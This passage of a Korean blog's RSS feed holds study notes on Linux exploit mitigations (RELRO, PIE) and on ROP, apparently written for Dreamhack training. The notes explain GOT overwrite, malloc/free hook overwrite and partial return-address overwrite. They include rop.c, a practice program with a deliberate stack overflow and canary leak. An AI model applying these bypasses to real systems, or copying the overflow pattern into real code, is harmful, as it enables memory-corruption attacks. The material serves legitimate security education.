&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;714&quot; data-origin-height=&quot;122&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cN48R8/btsCTu4midU/QDGAh8y7LZVVYKxeX6p9b0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cN48R8/btsCTu4midU/QDGAh8y7LZVVYKxeX6p9b0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cN48R8/btsCTu4midU/QDGAh8y7LZVVYKxeX6p9b0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcN48R8%2FbtsCTu4midU%2FQDGAh8y7LZVVYKxeX6p9b0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;714&quot; height=&quot;122&quot; data-origin-width=&quot;714&quot; data-origin-height=&quot;122&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;714&quot; data-origin-height=&quot;270&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfKsGo/btsCZ9xVUvu/LlhMaDD2ESyyOs48QcPAWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfKsGo/btsCZ9xVUvu/LlhMaDD2ESyyOs48QcPAWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfKsGo/btsCZ9xVUvu/LlhMaDD2ESyyOs48QcPAWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfKsGo%2FbtsCZ9xVUvu%2FLlhMaDD2ESyyOs48QcPAWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;714&quot; height=&quot;270&quot; data-origin-width=&quot;714&quot; data-origin-height=&quot;270&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;.got vs .got.plt&lt;br /&gt;Partial RELRO가 적용된 바이너리는 GOT와 관련된 섹션이 .got와 .got.plt로 두 개가 존재한다. 전역 변수 중에서 바이너리가 실행되는 시점에 바인딩(now binding)되는 변수는 .got섹션에 위치한다. 바이너리가 실행될 때는 이미 바인딩 된 후 이므로 쓰기권한을 부여하지 않는다.&lt;br /&gt;&lt;br /&gt;lazy binding의 경우 실행 중 값을 업데이트 해야되므로, 쓰기권한이 부여된다. Partial RELRO가 적용된 바이너리에서 대부분 함수들의 GOT 엔트리는 .got.plt에 저장된다.&lt;/blockquote&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Full RELRO&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;gcc는 기본적으로 Full RELRO를 적용하기 때문에, 옵션을 제거한 후 컴파일하여 checksec으로 확인한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;429&quot; data-origin-height=&quot;136&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eyKq3P/btsCWMiSFgL/lBZUYKzuxHadrKNTPKsiX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eyKq3P/btsCWMiSFgL/lBZUYKzuxHadrKNTPKsiX0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eyKq3P/btsCWMiSFgL/lBZUYKzuxHadrKNTPKsiX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeyKq3P%2FbtsCWMiSFgL%2FlBZUYKzuxHadrKNTPKsiX0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;429&quot; height=&quot;136&quot; data-origin-width=&quot;429&quot; data-origin-height=&quot;136&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;frelro 실행 결과와 objdump로 확인한 섹션 헤더를 종합해보면, data와 bss에만 쓰기 권한이 있는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1036&quot; data-origin-height=&quot;423&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/n3GJG/btsCVIATPzn/MmPNNKF7Au99rkCD8978Ck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/n3GJG/btsCVIATPzn/MmPNNKF7Au99rkCD8978Ck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/n3GJG/btsCVIATPzn/MmPNNKF7Au99rkCD8978Ck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fn3GJG%2FbtsCVIATPzn%2FMmPNNKF7Au99rkCD8978Ck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1036&quot; height=&quot;423&quot; data-origin-width=&quot;1036&quot; data-origin-height=&quot;423&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;714&quot; data-origin-height=&quot;116&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bb9PjL/btsCOCPJx7y/u1Qs5KeDkaQvsC31Bb55K1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bb9PjL/btsCOCPJx7y/u1Qs5KeDkaQvsC31Bb55K1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bb9PjL/btsCOCPJx7y/u1Qs5KeDkaQvsC31Bb55K1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbb9PjL%2FbtsCOCPJx7y%2Fu1Qs5KeDkaQvsC31Bb55K1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;714&quot; height=&quot;116&quot; data-origin-width=&quot;714&quot; data-origin-height=&quot;116&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;714&quot; data-origin-height=&quot;235&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/berPio/btsC0ZhH3AI/NqgVofhu5wr9C9857iXeaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/berPio/btsC0ZhH3AI/NqgVofhu5wr9C9857iXeaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/berPio/btsC0ZhH3AI/NqgVofhu5wr9C9857iXeaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FberPio%2FbtsC0ZhH3AI%2FNqgVofhu5wr9C9857iXeaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;714&quot; height=&quot;235&quot; data-origin-width=&quot;714&quot; data-origin-height=&quot;235&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;frelro가 매핑된 0x5652e529d000에 .data섹션의 오프셋인 0x4000을 더하면 0x5652e52a1000이고, 이는 쓰기 권한이 있는 영역에 속한다. .bss섹션도 계산해보면 0x5652e52a1010으로 쓰기 권한이 존재하는 영역이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Full RELRO가 적용되면 라이브러리 함수의 주소가 바이너리의 로딩 시점에 모두 바인딩 되기 때문에, got에 쓰기권한이 부여되지 않는다. &amp;rarr;&amp;nbsp;&lt;b&gt;GOT overwrite 불가능&lt;/b&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;RELRO 우회&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Partial RELRO의 경우, .init_array, .fini_array에는 쓰기 권한이 없지만 .got.plt 영역에 쓰기 권한이 있기 때문에 &lt;b&gt;GOT Overwrite&lt;/b&gt;로 공격할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Full RELRO의 경우, .init_array, .fini_array, .got 모두 쓰기 권한이 없다. 그래서 라이브러리에 위치한 hook을 이용해 공격한다. 라이브러리 함수의 대표적인 hook은&amp;nbsp;&lt;b&gt;malloc hook과 free hook&lt;/b&gt;이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;malloc 함수의 코드를 보면, 함수 시작 부분에서 __malloc_hook이 존재하는지 검사하고, 존재하면 이를 호출한다. __malloc_hook은 libc.so에서 쓰기 가능한 영역에 위치한다. 따라서 공격자가 libc가 매핑된 주소를 알면, __malloc_hook을 조작하고 malloc을 호출해, 실행 흐름을 조작할 수 있다. 이런 공격기법을&amp;nbsp;&lt;b&gt;Hook Overwrite&lt;/b&gt;라고 한다.&lt;/p&gt;
&lt;pre id=&quot;code_1704172951632&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;void *
__libc_malloc (size_t bytes)
{
	mstate ar_ptr;
	void *victim;
	void *(*hook) (size_t, const void *)
    	= atomic_forced_read (__malloc_hook); // read hook
	if (__builtin_expect (hook != NULL, 0))
		return (*hook)(bytes, RETURN_ADDRESS (0)); // call hook
#if USE_TCACHE
	/* int_free also calls request2size, be careful to not pad twice.  */
	size_t tbytes;
	checked_request2size (bytes, tbytes);
	size_t tc_idx = csize2tidx (tbytes);
	// ...&lt;/code&gt;&lt;/pre&gt;</description>
      <category>CS/system</category>
      <category>Dreamhack</category>
      <category>hacking</category>
      <category>RELRO</category>
      <category>System</category>
      <author>3omh4n</author>
      <guid isPermaLink="true">https://3omh4.tistory.com/60</guid>
      <comments>https://3omh4.tistory.com/entry/SystemDreamhack-RELRO-RELocation-Read-Only#entry60comment</comments>
      <pubDate>Tue, 2 Jan 2024 14:22:57 +0900</pubDate>
    </item>
    <item>
      <title>[System][Dreamhack] PIE - Position-Independent Executable</title>
      <link>https://3omh4.tistory.com/entry/SystemDreamhack-PIE-Position-Independent-Executable</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;PIE(Position-Independent Executable)은 ASLR이 코드 영역에도 적용되게 하는 기술이다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;PIC &amp;amp; PIE&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;PIC&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리눅스 ELF 파일은 실행파일(Executable)과 공유 오브젝트(Shared Object, so)로 2가지가 존재한다. 공유 오브젝트는 재배치(relocation)가 가능하다. Relocation이 가능하다는 것은 메모리의 어디에 적재되어도 코드의 의미가 훼손되지 않음을 의미한다. 이런 코드를 Position-Independent Code(PIC)라고 부른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;PIC 코드 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PIC가 적용된 바이너리와 그렇지 않은 바이너리를 비교하기 위해 아래의 코드를 컴파일하였다.&lt;/p&gt;
&lt;pre id=&quot;code_1703572831690&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// Name: pic.c
// Compile: gcc -o pic pic.c
// 	      : gcc -o no_pic pic.c -fno-pic -no-pie
#include &amp;lt;stdio.h&amp;gt;

char *data = &quot;Hello World!&quot;;

int main() {
  printf(&quot;%s&quot;, data);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;main을 비교해보면 main +18에서 &quot;%s&quot; 문자열을 printf에 전달하는 방식이 다른 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1242&quot; data-origin-height=&quot;288&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ywaxu/btsCyvXEQQi/KE2YwNvwHinpC1DKVEmRW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ywaxu/btsCyvXEQQi/KE2YwNvwHinpC1DKVEmRW1/img.png&quot; data-alt=&quot;(좌) no_pie (우) pie&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ywaxu/btsCyvXEQQi/KE2YwNvwHinpC1DKVEmRW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fywaxu%2FbtsCyvXEQQi%2FKE2YwNvwHinpC1DKVEmRW1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1242&quot; height=&quot;288&quot; data-origin-width=&quot;1242&quot; data-origin-height=&quot;288&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(좌) no_pie (우) pie&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PIE가 적용되지 않은 바이너리(no_pie)에서는 0x402011이라는 절대 주소로 문자열을 참조하고, PIE가 적용된 바이너리에서는 문자열의 주소(rip+0xeaf)로 참조하고 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;362&quot; data-origin-height=&quot;42&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LmYIl/btsCAjhS29E/OS4Zze5pPJWMpnHkEvTKRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LmYIl/btsCAjhS29E/OS4Zze5pPJWMpnHkEvTKRk/img.png&quot; data-alt=&quot;(좌) no_pie (우) pie&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LmYIl/btsCAjhS29E/OS4Zze5pPJWMpnHkEvTKRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLmYIl%2FbtsCAjhS29E%2FOS4Zze5pPJWMpnHkEvTKRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;362&quot; height=&quot;42&quot; data-origin-width=&quot;362&quot; data-origin-height=&quot;42&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(좌) no_pie (우) pie&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;no_pie의 경우 매핑되는 바이너리의 주소가 바뀌면&amp;nbsp; 0x402011의 데이터도 같이 이동하기 때문에, no_pie는 제대로 실행되지 않는다. pie의 경우, rip를 기준으로 데이터를 상대참조하기 때문에, 바이너리 매핑 주소가 바뀌어도 제대로 실행될 수 있다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;PIE&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PIE(Position-Independent Executable)는 어느 주소에 매핑되어도 제대로 동작하는 실행 파일을 의미한다. 리눅스의 경우, ASLR을 도입한 후 실행 파일 형식은 재배치 가능하도록 바꾸는 것이 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;호환성 문제로&lt;span&gt; &lt;/span&gt;&lt;/span&gt;어렵기 때문에, 재배치 가능한 공유 오브젝트를 실행 파일로 사용한다. 실행 파일의 헤더를 보면, Type이 공유 오브젝트(DYN, ET_DYN)인 것을 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;408&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HCwQf/btsCAgZIZaT/ySwXtRDPbSOmEy09suhdz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HCwQf/btsCAgZIZaT/ySwXtRDPbSOmEy09suhdz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HCwQf/btsCAgZIZaT/ySwXtRDPbSOmEy09suhdz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHCwQf%2FbtsCAgZIZaT%2FySwXtRDPbSOmEy09suhdz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;408&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;408&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;PIE on ASLR&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PIE는 재배치가 가능하므로, ASLR이 적용된 시스템에서는 실행파일도 무작위 주소에 적재된다. 하지만, ASLR이 적용되지 않은 시스템에서는 PIE가 적용된 바이너리라도 무작위 주소에 적재되지 않는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;995&quot; data-origin-height=&quot;450&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7h0A3/btsCAj942pZ/kHqjWod9RACNEjSLspIEzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7h0A3/btsCAj942pZ/kHqjWod9RACNEjSLspIEzK/img.png&quot; data-alt=&quot;(좌) PIE가 적용되지 않은 바이너리 (우) PIE가 적용된 바이너리&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7h0A3/btsCAj942pZ/kHqjWod9RACNEjSLspIEzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7h0A3%2FbtsCAj942pZ%2FkHqjWod9RACNEjSLspIEzK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;995&quot; height=&quot;450&quot; data-origin-width=&quot;995&quot; data-origin-height=&quot;450&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;(좌) PIE가 적용되지 않은 바이너리 (우) PIE가 적용된 바이너리&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 사진을 보면 PIE가 적용된 바이너리는 매 실행마다 main의 주소가 바뀌는 것을 확인할 수 있다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;PIE bypass&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;코드 베이스 구하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ASLR환경에서 PIE가 적용된 바이너리는 실행마다 다른 주소에 적재된다. 따라서 코드영역의 가젯을 사용하거나, 데이터 영역에 접근하려면 바이너리가 적재된 주소, 즉 PIE 베이스(코드 베이스)를 구해야한다. 코드 베이스는 lib base구할 때와 마찬가지로, 코드 영역의 임의 주소를 읽고, 그 주소의 offset을 빼주면 구할 수 있다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Partial overwrite&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 베이스를 구하기 어려우면, return address의 일부 바이트만 덮는 공격을 고려해볼 수 있다. 일반적으로 return address는 caller의 내부를 가리킨다. &lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;ASLR 특성 상, 코드 영역의 하위 12비트의 값은 항상 같다.&lt;/b&gt;&lt;/span&gt; 따라서, 사용하려는 코드 가젯의 주소가 return address와 하위 한 바이트만 다르다면, 이 값만 덮어서 원하는 코드를 실행시킬 수 있다. 그러나 두 바이트 이상이 다르면, ASLR로 인해 바뀌는 주소를 맞춰야하므로 브루트 포싱이 필요하다.&lt;/p&gt;</description>
      <category>CS/system</category>
      <category>ASLR</category>
      <category>Dreamhack</category>
      <category>PIE</category>
      <category>System</category>
      <author>3omh4n</author>
      <guid isPermaLink="true">https://3omh4.tistory.com/59</guid>
      <comments>https://3omh4.tistory.com/entry/SystemDreamhack-PIE-Position-Independent-Executable#entry59comment</comments>
      <pubDate>Tue, 26 Dec 2023 18:07:29 +0900</pubDate>
    </item>
    <item>
      <title>[System][Dreamhack] Exploit Tech : Return Oriented Programming(ROP)</title>
      <link>https://3omh4.tistory.com/entry/DreamHack-Exploit-Tech-Return-Oriented-ProgrammingROP</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이전 실습은 system 함수를 호출하도록 하여 PLT에 system함수가 포함되어 있다. 하지만 실제로 system함수가 PLT에 포함될 가능성은 거의 없다.&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1675395783314&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;[system][hacking] Exploit Tech : Return to Library(RTL)&quot; data-og-description=&quot;NX를 우회하는 공격기법인 RTL에 대해 공부한 내용이다. RTL을 공부하기 전 NX가 무엇인지, PLT가 무엇인지 알아야 한다. 이에 대한 내용은 아래의 글에 정리되어 있다. [system][hacking] 메모리 보호기&quot; data-og-host=&quot;3omh4.tistory.com&quot; data-og-source-url=&quot;https://3omh4.tistory.com/entry/systemhacking-Exploit-Tech-Return-to-LibraryRTL&quot; data-og-url=&quot;https://3omh4.tistory.com/entry/systemhacking-Exploit-Tech-Return-to-LibraryRTL&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bpRnkx/hyRt0A6KrH/kkZoOKFA81Jib79xmcp0G1/img.png?width=503&amp;amp;height=129&amp;amp;face=0_0_503_129,https://scrap.kakaocdn.net/dn/kONBq/hyRvjsh5zA/61Sj4uW4iEBVk6Gh62qUQk/img.png?width=503&amp;amp;height=129&amp;amp;face=0_0_503_129,https://scrap.kakaocdn.net/dn/WUCvL/hyRtU8IjDZ/gxkH0fkYKcupKCYP7KHqw0/img.png?width=750&amp;amp;height=502&amp;amp;face=0_0_750_502&quot;&gt;&lt;a href=&quot;https://3omh4.tistory.com/entry/systemhacking-Exploit-Tech-Return-to-LibraryRTL&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://3omh4.tistory.com/entry/systemhacking-Exploit-Tech-Return-to-LibraryRTL&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bpRnkx/hyRt0A6KrH/kkZoOKFA81Jib79xmcp0G1/img.png?width=503&amp;amp;height=129&amp;amp;face=0_0_503_129,https://scrap.kakaocdn.net/dn/kONBq/hyRvjsh5zA/61Sj4uW4iEBVk6Gh62qUQk/img.png?width=503&amp;amp;height=129&amp;amp;face=0_0_503_129,https://scrap.kakaocdn.net/dn/WUCvL/hyRtU8IjDZ/gxkH0fkYKcupKCYP7KHqw0/img.png?width=750&amp;amp;height=502&amp;amp;face=0_0_750_502');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[system][hacking] Exploit Tech : Return to Library(RTL)&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;NX를 우회하는 공격기법인 RTL에 대해 공부한 내용이다. RTL을 공부하기 전 NX가 무엇인지, PLT가 무엇인지 알아야 한다. 이에 대한 내용은 아래의 글에 정리되어 있다. [system][hacking] 메모리 보호기&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;3omh4.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 라이브러리 함수의 실행과 리턴가젯을 연결해 사용하는 ROP(Return Oriented Programming)와 GOT overwrite에 대해 드림핵으로 공부한 내용이다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;ROP&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;ROP는 리턴 가젯을 사용해 복잡한 실행 흐름을 구현하는 기법이다. 이를 이용해 RTL, GOT overwrite, return to dl-resolve 등의 페이로드를 구성할 수 있다. 지난 글(RTL)에서 pop rdi; ret을 사용해 system(&quot;/bin/sh&quot;)을 호출한 것도 ROP를 사용해 RTL을 구현한 예시이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ROP 페이로드는 리턴 가젯으로 구성된다. ret 단위로 여러 코드가 연쇄적으로 실행되는 모습에서 ROP chain 이라고도 불린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;ROP를 이용한 GOT overwrite 실습&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;실습코드&lt;/h3&gt;
&lt;pre id=&quot;code_1675398550594&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int main() {
  char buf[0x30];
  
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  
  // Leak canary
  puts(&quot;[1] Leak Canary&quot;);
  printf(&quot;Buf: &quot;);
  read(0, buf, 0x100);
  printf(&quot;Buf: %s\n&quot;, buf);
  
  // Do ROP
  puts(&quot;[2] Input ROP payload&quot;);
  printf(&quot;Buf: &quot;);
  read(0, buf, 0x100);
  
  return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 예제를 스택 카나리, NX을 적용해 컴파일한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;코드 분석&lt;/h3&gt;
